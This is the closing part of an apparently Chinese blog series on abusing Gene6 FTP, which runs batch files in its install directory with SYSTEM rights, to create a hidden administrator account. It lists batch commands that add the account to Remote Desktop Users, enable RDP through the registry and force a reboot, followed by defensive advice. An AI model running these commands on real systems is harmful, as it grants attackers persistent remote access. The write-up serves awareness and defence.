新思路利用 Gene6 FTP 遠端恢復系統管理員密碼（五）：完成帳號建立與防禦總結

系列最終回：驗證隱藏管理員帳號建立成功，補充遠端維護擴充指令，總結攻擊原理與防禦對策。

成果驗證

執行完成後，系統新增 softer 帳號且具管理員權限，實現密碼恢復目的。

圖 10

圖 11

遠端維護擴充指令（加入 xx.cmd）

net localgroup "Remote Desktop Users" softer /add
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /f /v fDenyTSConnections /t REG_DWORD /d 0
shutdown -r -t 0

• 加入遠端桌面使用者群組
• 啟用終端機服務（遠端桌面）
• 立即重啟生效

攻擊原理與防禦總結

原理：利用 Gene6 FTP 服務以 SYSTEM 權限執行 FTP 目錄下的批次指令，實現帳號操控。
關鍵條件：FTP 發布了 Gene6 安裝目錄、登入帳號具該目錄完整讀寫權限。
防禦：

1. 勿發布 FTP 伺服器軟體安裝目錄
2. 若必須發布，嚴格限制帳號權限（唯讀、無寫入）
3. 定期稽核 FTP 日誌與系統帳號異常變動

本系列旨在拋磚引玉，喚醒網管對腳本執行風險的重視，而非提供攻擊工具。